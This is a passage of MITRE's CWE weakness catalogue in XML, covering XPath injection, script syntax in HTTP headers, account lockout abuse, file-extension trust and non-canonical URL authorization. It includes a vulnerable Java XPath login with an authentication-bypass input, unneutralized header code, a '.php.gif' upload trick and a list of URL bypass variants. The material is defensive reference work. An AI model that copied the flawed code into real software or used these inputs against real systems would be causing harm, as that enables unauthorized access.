						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>XPath xpath = XPathFactory.newInstance().newXPath();</Code>
							              <Code>XPathExpression xlogin =
								xpath.compile("//users/user[login/text()='" + login.getUserName() +
								"' and password/text() = '" + login.getPassword() +
								"']/home_dir/text()");</Code>
							              <Code>Document d =
								DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new
								File("db.xml"));</Code>
							              <Code>String homedir = xlogin.evaluate(d);</Code>
						            </Block>
						            <Text>Assume that user "john" wishes to leverage XPath Injection and login
							without a valid password. By providing a username "john" and password "'
							or ''='" the XPath expression now becomes</Text>
						            <Block Block_Nature="Attack">
							              <Code>//users/user[login/text()='john' or ''='' and password/text() = ''
								or ''='']/home_dir/text()</Code>
						            </Block>
						            <Text>which, of course, lets user "john" login without a valid password,
							thus bypassing authentication.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Web Application Security Consortium</Reference_Author>
					          <Reference_Title>XPath Injection</Reference_Title>
					          <Reference_Link>http://www.webappsec.org/projects/threat/classes/xpath_injection.shtml</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 17, "XPath Injection", Page 1070.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>XPath Injection </Mapped_Node_Name>
					          <Mapped_Node_ID>39</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Evgeny Lebanidze</Submitter>
					          <Submitter_Organization>Cigital</Submitter_Organization>
					          <Submission_Date>2008-01-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Name, References,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated
						Enabling_Factors_for_Exploitation</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-10-14">Unsafe Treatment of XPath
						Input</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize Data
						within XPath Expressions (aka 'XPath injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Failure to Sanitize Data
						within XPath Expressions ('XPath injection')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="644" Name="Improper Neutralization of HTTP Headers for Scripting Syntax" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The application does not neutralize or incorrectly neutralizes
					web scripting syntax in HTTP headers that can be used by web browser components
					that can process raw headers, such as Flash.</Description_Summary>
				        <Extended_Description>
					          <Text>An attacker may be able to conduct cross-site scripting and other attacks
						against users who have these components enabled.</Text>
					          <Text>If an application does not neutralize user controlled data being placed in
						the header of an HTTP response coming from the server, the header may
						contain a script that will get executed in the client's browser context,
						potentially resulting in a cross site scripting vulnerability or possibly an
						HTTP response splitting attack. It is important to carefully control data
						that is being placed both in HTTP response header and in the HTTP response
						body to ensure that no scripting syntax is present, taking various encodings
						into account.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>116</Relationship_Target_ID>
					          <!--Improper Encoding or Escaping of Output-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>442</Relationship_Target_ID>
					          <!--Web Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>725</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>Script execution functionality is enabled in the user's browser.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Run arbitrary code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Attackers may be able to obtain sensitive information.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Perform output validation in order to filter/escape/encode unsafe data
							that is being passed from the server in an HTTP response header.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Disable script execution functionality in the clients' browser.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example, user-controlled data is added to the
						HTTP headers and returned to the client. Given that the data is not subject
						to neutralization, a malicious user may be able to inject dangerous
						scripting tags that will lead to script execution in the client
						browser.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>response.addHeader(HEADER_NAME, untrustedRawInputData);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-3918</Observed_Example_Reference>
					          <Observed_Example_Description>Web server does not remove the Expect header from
						an HTTP request when it is reflected back in an error message, allowing a
						Flash SWF file to perform XSS attacks.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Evgeny Lebanidze</Submitter>
					          <Submitter_Organization>Cigital</Submitter_Organization>
					          <Submission_Date>2008-01-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Observed_Example</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Name, Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-10-14">Insufficient Filtering of
						HTTP Headers for Scripting Syntax</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Insufficient Sanitization of
						HTTP Headers for Scripting Syntax</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of HTTP
						Headers for Scripting Syntax</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="645" Name="Overly Restrictive Account Lockout Mechanism" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software contains an account lockout protection mechanism,
					but the mechanism is too restrictive and can be triggered too easily. This
					allows attackers to deny service to legitimate users by causing their accounts
					to be locked out.</Description_Summary>
				        <Extended_Description>
					          <Text>Account lockout is a security feature often present in applications as a
						countermeasure to the brute force attack on the password based
						authentication mechanism of the system. After a certain number of failed
						login attempts, the users' account may be disabled for a certain period of
						time or until it is unlocked by an administrator. Other security events may
						also possibly trigger account lockout. However, an attacker may use this
						very security feature to deny service to legitimate system users. It is
						therefore important to ensure that the account lockout security mechanism is
						not overly restrictive.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>The system has an account lockout mechanism.</Text>
				        </Enabling_Factor_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>An attacker must be able to trigger the account lockout mechanism.</Text>
				        </Enabling_Factor_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>The cost to the attacker of triggering the account lockout mechanism
						should be less than the cost to re-enable the account.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Users could be locked out of accounts.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Implement more intelligent password throttling mechanisms such as
							those which take IP address into account, in addition to the login name.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Implement a lockout timeout that grows as the number of incorrect
							login attempts goes up, eventually resulting in a complete lockout.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider alternatives to account lockout that would still be effective
							against password brute force attacks, such as presenting the user
							machine with a puzzle to solve (makes it do some computation). </Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Description>A famous example of this type an attack is the
						eBay attack. eBay always displays the user id of the highest bidder. In the
						final minutes of the auction, one of the bidders could try to log in as the
						highest bidder three times. After three incorrect log in attempts, eBay
						password throttling would kick in and lock out the highest bidder's account
						for some time. An attacker could then make their own bid and their victim
						would not have a chance to place the counter bid because they would be
						locked out. Thus an attacker could win the
						auction.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Evgeny Lebanidze</Submitter>
					          <Submitter_Organization>Cigital</Submitter_Organization>
					          <Submission_Date>2008-01-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Enabling_Factors_for_Exploitation, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="646" Name="Reliance on File Name or Extension of Externally-Supplied File" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software allows a file to be uploaded, but it relies on the
					file name or extension of the file to determine the appropriate behaviors. This
					could be used by attackers to cause the file to be misclassified and processed
					in a dangerous fashion.</Description_Summary>
				        <Extended_Description>
					          <Text>An application might use the file name or extension of of a user-supplied
						file to determine the proper course of action, such as selecting the correct
						process to which control should be passed, deciding what data should be made
						available, or what resources should be allocated. If the attacker can cause
						the code to misclassify the supplied file, then the wrong action could
						occur. For example, an attacker could supply a file that ends in a
						".php.gif" extension that appears to be a GIF image, but would be processed
						as PHP code. In extreme cases, code execution is possible, but the attacker
						could also cause exhaustion of resources, denial of service, exposure of
						debug or system data (including application source code), or being bound to
						a particular server side process. This weakness may be due to a
						vulnerability in any of the technologies used by the web and application
						servers, due to misconfiguration, or resultant from another flaw in the
						application itself.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>442</Relationship_Target_ID>
					          <!--Web Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>There is reliance on file name and/or file extension on the server side
						for processing.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker may be able to read sensitive data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker may be able to cause a denial of service.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker may be able to gain privileges.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make decisions on the server side based on file content and not on
							file name or extension.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>209</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Evgeny Lebanidze</Submitter>
					          <Submitter_Organization>Cigital</Submitter_Organization>
					          <Submission_Date>2008-01-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Observed_Example</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-13</Modification_Date>
					          <Modification_Comment>Significant clarification of the weakness
						description.</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Name, Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms,
						Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-10-14">Taking Actions based on File
						Name or Extension of a User Supplied File</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="647" Name="Use of Non-Canonical URL Paths for Authorization Decisions" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software defines policy namespaces and makes authorization
					decisions based on the assumption that a URL is canonical. This can allow a
					non-canonical URL to bypass the authorization.</Description_Summary>
				        <Extended_Description>
					          <Text>If an application defines policy namespaces and makes authorization
						decisions based on the URL, but it does not require or convert to a
						canonical URL before making the authorization decision, then it opens the
						application to attack. For example, if the application only wants to allow
						access to http://www.example.com/mypage, then the attacker might be able to
						bypass this restriction using equivalent URLs such as:</Text>
					          <Block Block_Nature="List">
						            <Text>http://WWW.EXAMPLE.COM/mypage</Text>
						            <Text>http://www.example.com/%6Dypage (alternate encoding)</Text>
						            <Text>http://192.168.1.1/mypage (IP address)</Text>
						            <Text>http://www.example.com/mypage/ (trailing /)</Text>
						            <Text>http://www.example.com:80/mypage</Text>
					          </Block>
					          <Text>Therefore it is important to specify access control policy that is based
						on the path information in some canonical form with all alternate encodings
						rejected (which can be accomplished by a default deny rule).</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>863</Relationship_Target_ID>
					          <!--Incorrect Authorization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
